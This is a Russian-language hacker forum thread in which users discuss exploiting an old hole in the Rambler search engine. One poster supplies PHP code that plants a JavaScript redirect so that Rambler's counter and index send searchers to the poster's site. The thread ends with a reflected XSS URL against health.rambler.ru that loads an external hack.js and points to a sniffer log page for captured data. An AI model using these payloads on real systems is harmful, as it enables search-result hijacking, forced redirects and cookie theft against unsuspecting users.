Да забавный факт нашел Dmitro. Поработаем над ним.

Как мне передали, дыра на Рамблере старая и бесперспективная.
Рамблер даже куки не оставляет.
Единственный возможный вариант использования - редирект на свой сайт. Что ж, отличный прием для раскрутки.

Угук. Раскрутить один раз сайт на слово "работа" (ну или порно) и все. Потом кто вобьет в поиске "работа" - редиректом на сайт Дмитро будет попадать (наращивая раскрутку как снежный ком).

Дмитро - респект. Действительно откопал забавную штуку. =)

__________________
+ (это не крестик, это плюсик!)
__________________
•
•
•

Вообщем , чтоб было всем понятнее, делаем так:
1) В index.php пишем повыше на странице :
********************************
<?php
if(isset($_GET['ID'])){$ID = ereg_replace("[^0-9_]","<script language='Javascript'><!--
function reload() {location = \"http://ВАШ_САЙТ.ru\"}; setTimeout('reload()', 10);
//--></script>",$_GET['ID']);}
echo $ID;
echo "<br><b>".$ID."</b><br><a href=\"http://ВАШ_САЙТ/?".$ID."\">". $ID."</a>";
?>
*********************************
// Зачем три раза повторять $ID ? - Чёртиво знает, откуда рамблер его тянет, толи из ссылки, толи из тега... кашу маслом не испортишь, а там можно и поэксперементировать ))
2) Затем делаем URL запрос http://ВАШ_САЙТ.ru/?ID=[Любые буквы или символы]
желательно побольше таких запросов с разными буквами после "?"
После чего счётчик rambler top-100 на этой странице фиксирует эти запросы, ( их можно посмотреть в статистике посещений ) , затем через какое-то время их индексирует поисковик рамблера. И всё !
3) После индексации будет редирект на Ваш сайт прямо из Рамблера.
А можно сделать ещё круче, т.е. сделать действительно снежный ком !!
Создать массив слов и чисел, создать рандом переменную , состоящую из "слово+число" и добавить эту переменную в редирект, т.е.
"http://Ваш_сайт.ru/?".$random
тем самым получим цыкл...
Ну вот вроде разжевали )))

Вон кстати ребятишки чё нашли:

Источник: http://antisec.2x4.ru/advisories/rambler.txt

http://health.rambler.ru/drugs/results.html?words=<script>alert%20('XSS%20b%20y%2 0SNIFF')</script><script%20src=http://www.fath.jino-net.ru/hack.js></script>

Потом на http://antichat.ru/sniff/log.php